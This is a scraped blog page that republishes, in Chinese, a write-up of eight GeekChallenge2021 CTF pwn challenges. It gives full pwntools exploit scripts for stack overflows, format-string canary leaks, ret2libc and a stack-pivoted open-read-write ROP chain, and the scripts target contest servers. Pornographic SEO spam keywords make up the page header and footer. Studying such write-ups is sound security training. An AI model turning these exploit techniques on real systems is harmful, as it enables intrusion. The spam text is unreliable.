日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

PWN-COMPETITION-GeekChallenge2021

發(fā)布時間:2023/12/10 编程问答 33 豆豆
生活随笔 收集整理的這篇文章主要介紹了 PWN-COMPETITION-GeekChallenge2021 小編覺得挺不錯的,現(xiàn)在分享給大家,幫大家做個參考.

PWN-COMPETITION-GeekChallenge2021

    • check in
    • 戀愛小游戲
    • ret2xxone
    • 戀愛小游戲2.0
    • easyfmt
    • easycanary
    • ret2baby
    • pwn777

check in

66s內(nèi)解答200道四則運算的題目即可getshell
參與運算的數(shù)和運算符都會打印,直接寫腳本即可

# -*- coding:utf-8 -*- from pwn import * context.log_level="debug" #io=process("./math") io=remote("123.57.230.48",12343) elf=ELF("./math")for i in range(200):io.recvuntil("num1:")num1=int(io.recvuntil("\n")[:-1])io.recvuntil("num2:")num2=int(io.recvuntil("\n")[:-1])io.recvuntil("this calculation is ")sign=io.recvuntil("\n")[:-1]ans=0if sign=="+":ans=num1+num2elif sign=="-":ans=num1-num2elif sign=="*":ans=num1*num2else:ans=num1/num2io.sendlineafter("your answer!!:\n",str(ans))io.interactive()

戀愛小游戲

棧溢出覆寫棧上變量的值使?jié)M足if即可getshell,可直接在命令行輸入payload

ret2xxone

Geek函數(shù)中存在棧溢出漏洞,前提是先輸入一個數(shù)和程序產(chǎn)生的隨機數(shù)相同

由于程序沒有通過srand()函數(shù)設置隨機數(shù)種子,所以每次運行程序時,程序產(chǎn)生的隨機數(shù)都是相同的,可以通過調(diào)試得到
在0x0804860C處下斷點,程序調(diào)用rand()后,返回值EAX即為程序產(chǎn)生的隨機數(shù),這里為0x6b8b4567

之后就是利用棧溢出getshell

# -*- coding:utf-8 -*- from pwn import * io=process("./ret2xx") elf=ELF("./ret2xx") system_plt=elf.plt["system"] binsh=0x080486D0io.recvuntil("to solve it!\n") num=0x6b8b4567 io.send(p32(num))payload="a"*(0x1A+4)+p32(system_plt)+p32(0xdeadbeef)+p32(binsh) io.send(payload)io.interactive()

戀愛小游戲2.0

棧溢出,原理和1.0一樣,注意在命令行輸入payload后不能用回車,要用Ctrl+D來結束輸入

或者寫腳本,payload最后設為"\x00"即可

# -*- coding:utf-8 -*- from pwn import * io=remote("47.242.20.238",10000) payload="a"*24+"loveyou\x00" io.send(payload) io.interactive()

easyfmt

格式化字符串漏洞,第一次覆寫棧上變量的值,第二次覆寫返回地址
backdoor關閉了標準輸出流,使用exec實現(xiàn)重定位,再cat flag即可

# -*- coding:utf-8 -*- from pwn import * #io=process("./format_string") io=remote("123.57.230.48",12342) elf=ELF("./format_string")#gdb.attach(io,"b * 0x08048685") #pause()io.recvuntil("First step:\n0x") v3_addr=int(io.recvuntil("\n")[:-1],16) print("v3_addr=="+hex(v3_addr))payload=p32(v3_addr)+"%8c%15$hn" # len(payload)==13 io.send(payload)backdoor=0x0804874D ebp_sub_8=v3_addr+0x10 io.recvuntil("you enter there\n") payload=p32(ebp_sub_8)+"%"+str(backdoor&0xff-4)+"c%7$hhn" print(len(payload)) io.sendline(payload)io.sendline("exec 1>&2") io.sendline("cat flag") #pause()io.interactive()

easycanary

格式化字符串泄露canary,read利用棧溢出覆寫返回地址getshell

# -*- coding:utf-8 -*- from pwn import * #io=process("./stackguard1") io=remote("123.57.230.48",12344) elf=ELF("./stackguard1")#gdb.attach(io,"b * 0x4012A3") #pause()payload="%11$p" io.sendline(payload) io.recvuntil("0x") canary=int(io.recv(16),16) print("canary=="+hex(canary))backdoor=0x4011D6 payload="a"*(0x30-8)+p64(canary)+"b"*8+p64(backdoor) io.sendline(payload)#pause()io.interactive()

ret2baby

main函數(shù)中說有兩次機會,其實一次就可以getshell了
input函數(shù)中要求輸入一個position,范圍為[0,20],將這個position傳入game函數(shù)中
對game函數(shù)的分析標注在注釋中

當game函數(shù)第32行的if語句成立時,可以造成棧溢出,腳本如下

# -*- coding:utf-8 -*- from pwn import * context.log_level="debug" #io=process("./ret2") io=remote("123.57.230.48",12346) elf=ELF("./ret2")binsh=0x4014d4 pop_rdi=0x401273 ret=0x400318io.recvuntil("please input your position\n") io.sendline("20")io.recvuntil("plz input your value\n") io.sendline("0")io.recvuntil("this is a gitf 0x") system=int(io.recv(12),16) print("system=="+hex(system))payload="a"*(0x12+8)+p64(pop_rdi)+p64(binsh)+p64(ret)+p64(system)io.sendline(payload)io.interactive()

pwn777

此題開了沙箱,ban了execve系統(tǒng)調(diào)用,于是考慮orw
game函數(shù)中利用棧溢出覆寫隨機數(shù)種子為0,繞過隨機檢測
fmt()函數(shù)中存在bss段上的格式化字符串漏洞,參考:bss上的格式化字符串漏洞
此題除了game函數(shù)中存在棧溢出,其它函數(shù)中都不存在可實現(xiàn)rop的條件,要想實現(xiàn)orw還需要棧遷移

# -*- coding:utf-8 -*- from pwn import * #context.log_level="debug" context.arch="amd64" # 下面asm()找gadget需要 #io=process("./pwn01") io=remote("47.242.20.238",7777) elf=ELF("./pwn01") libc=ELF("./libc-2.23.so")#offset=0x1621 #io_base = io.libs()[io.cwd + io.argv[0].strip('.')] #gdb.attach(io,"b * "+str(io_base+offset)) #pause()io.recvuntil("input your name\n") name="a"*16+p64(0)+p32(0) # 棧溢出,將隨機數(shù)種子設為0 io.send(name)num=[1804289383,846930886,1681692777,1714636915,1957747793,424238335,719885386,1649760492,596516649,1189641421] for i in range(10):io.recvuntil("input your number:")io.sendline(str(num[i]))io.recvuntil("try your best!\n") payload="%6$p.%7$p.%13$p" #泄露棧地址,程序基地址,libc基址 io.sendline(payload) io.recvuntil("0x") stack_addr=int(io.recvuntil(".")[:-1],16) #棧地址 print("stack_addr=="+hex(stack_addr)) io.recvuntil("0x") proc_base=int(io.recvuntil(".")[:-1],16)-0x166F #程序基地址 print("proc_base=="+hex(proc_base)) io.recvuntil("0x") libc_base=int(io.recv(12),16)-240-libc.sym["__libc_start_main"] #libc基址 print("libc_base=="+hex(libc_base)) buf_addr=proc_base+0x4060 #buf地址 print("buf_addr=="+hex(buf_addr))# 依照bss段上的格式化字符串漏洞利用原理,實現(xiàn)棧遷移,需要修改rbp到fake_rbp地址,改寫mymain的返回地址到一個leave_ret # phase 1 start 改寫mymain的返回地址到一個leave_ret rip=stack_addr+0x8 rip_0_2=rip&0xff print("rip_0_2=="+hex(rip_0_2)) payload="%"+str(rip_0_2)+"c%6$hhn" #這里是偏移為6的鏈 io.sendline(payload)leave_ret=proc_base+0x1676 print("leave_ret=="+hex(leave_ret)) ret=leave_ret&0xff print("ret=="+hex(ret)) payload="%"+str(ret)+"c%10$hhn" io.sendline(payload)# phase 1 end# phase 2 start 改寫rbp到fake_rbp地址,由于原本棧上的rbp與fake_rbp地址完全不同,需要分3次各次寫2個字節(jié),共6個字節(jié) fake_rbp=buf_addr+0x10 print("fake_rbp=="+hex(fake_rbp))buf_addr_0_4=(fake_rbp)&0xffff print("buf_addr_0_4=="+hex(buf_addr_0_4)) payload="%"+str(buf_addr_0_4)+"c%6$hn" #低2字節(jié)可以用上面改寫返回地址的鏈直接寫,偏移為6的鏈 io.sendline(payload)# 中間2字節(jié) 和 高2字節(jié) 需要找另一條鏈輔助寫,這里是偏移為15的鏈 stack_addr_add_2=stack_addr+0x2 print("stack_addr_add_2=="+hex(stack_addr_add_2)) stack_addr_add_2=stack_addr_add_2&0xffff payload="%"+str(stack_addr_add_2)+"c%15$hn" io.sendline(payload)buf_addr_4_8=(fake_rbp>>16)&0xffff print("buf_addr_4_8=="+hex(buf_addr_4_8)) payload="%"+str(buf_addr_4_8)+"c%41$hn" io.sendline(payload)stack_addr_add_4=stack_addr+0x4 print("stack_addr_add_4=="+hex(stack_addr_add_4)) stack_addr_add_4=stack_addr_add_4&0xffff payload="%"+str(stack_addr_add_4)+"c%15$hn" io.sendline(payload)buf_addr_8_12=(fake_rbp>>32)&0xffff print("buf_addr_8_12=="+hex(buf_addr_8_12)) payload="%"+str(buf_addr_8_12)+"c%41$hn" io.sendline(payload) # phase 2 endbss=proc_base+0x4020 syscall = libc_base+0x1015D7 #在libc中找一個syscall的偏移即可 pop_rax_ret = libc_base+libc.search(asm("pop rax; ret")).next() #注意設置context.arch="amd64" pop_rdi_ret = libc_base+libc.search(asm("pop rdi; ret")).next() pop_rsi_ret = libc_base+libc.search(asm("pop rsi; ret")).next() pop_rdx_ret = libc_base+libc.search(asm("pop rdx; ret")).next()payload="jiaraniloveyou~\x00" # len=16 payload+="./flag".ljust(8,"\x00") #要打開的文件名 # 下面是利用棧遷移實現(xiàn)orw,open,read,write payload+=p64(pop_rdi_ret)+p64(buf_addr+0x10)+p64(pop_rsi_ret)+p64(0)+p64(pop_rax_ret)+p64(2)+p64(syscall) payload+=p64(pop_rdi_ret)+p64(3)+p64(pop_rsi_ret)+p64(bss)+p64(pop_rdx_ret)+p64(0x30)+p64(pop_rax_ret)+p64(0)+p64(syscall) payload+=p64(pop_rdi_ret)+p64(1)+p64(pop_rsi_ret)+p64(bss)+p64(pop_rdx_ret)+p64(0x30)+p64(pop_rax_ret)+p64(1)+p64(syscall) io.sendline(payload)#pause()io.interactive()

總結

以上是生活随笔為你收集整理的PWN-COMPETITION-GeekChallenge2021的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網(wǎng)站內(nèi)容還不錯,歡迎將生活随笔推薦給好友。

主站蜘蛛池模板: 欧美成人三级精品 | 国产精品一区二区久久国产 | av在线影片 | 四虎在线播放 | 男人av网站 | 欧美黄色特级片 | 亚洲第十页 | 国产av无码专区亚洲av毛网站 | 国产chinese| 永久在线 | 天天爽天天 | 国产精品成人电影在线观看 | 午夜羞羞影院 | 成人福利在线视频 | 高h在线观看 | 九九久久网 | 国产精品免费入口 | 色婷婷av一区| 好色婷婷 | 毛片最新网址 | 亚洲天堂一区 | 射进来av影视网 | av观看免费 | 相亲对象是问题学生动漫免费观看 | 国产综合精品在线 | 国模av | 日韩午夜视频在线观看 | 日日爽| 精品视频一二 | 日本日韩欧美 | 韩国三级中文字幕hd浴缸戏 | va视频在线 | 亚洲午夜精品久久久久久浪潮 | 久久另类ts人妖一区二区 | 国产孕交 | 国产高清无密码一区二区三区 | 少妇一区二区三区 | 免费看a视频 | 亚洲一区免费视频 | 夜夜天天拍拍 | 国产极品探花 | 亚洲一区二区三区在线播放 | 无遮挡在线观看 | 久久国产精品久久久久 | 制服.丝袜.亚洲.中文.综合懂 | 韩国av一区二区 | 国产人妻人伦精品1国产盗摄 | 国产美女作爱视频 | 国产精品久久久久91 | a三级黄色片| 不卡影院一区二区 | 国产成人精品一区二区三区网站观看 | 午夜美女福利 | 久久久久人妻一区精品色欧美 | 国产精品久久久久久久久久久新郎 | 黄色一级片久久 | 九九色网| 精品国产一区二区三区性色av | 免费看欧美片 | 黄色av影视 | aaaa一级片| 国产成人无码一区二区在线观看 | 免费高清毛片 | 97国产在线观看 | 成人免费一级 | 色偷偷久久 | 一区二区三区在线电影 | 色伊人网 | 欧美日韩爱爱 | 国产精品精品软件视频 | 女18毛片 | 欧美一级少妇 | 金鱼妻日剧免费观看完整版全集 | 四房婷婷 | 亚洲黄a| 亚洲自拍中文 | jizz日本少妇 | 日韩美女国产精品 | 国产欧美日韩综合精品 | 亚洲一区二区在线免费 | 精品欧美在线 | 一区二区三区在线免费视频 | 国产最新视频在线 | 精品国产69 | 无码国产伦一区二区三区视频 | www.久色| 国产精品一级片 | 欧美一区二区三区成人久久片 | 妖精视频在线观看免费 | 黄色片a级片| 日韩第一页在线观看 | 国产免费a视频 | 91禁动漫在线 | 中文字幕第99页 | 国产欧美一区二区三区鸳鸯浴 | 精品久久久久久亚洲精品 | 黄色片a级片 | 99热在线看| 精品妇女一区二区三区 |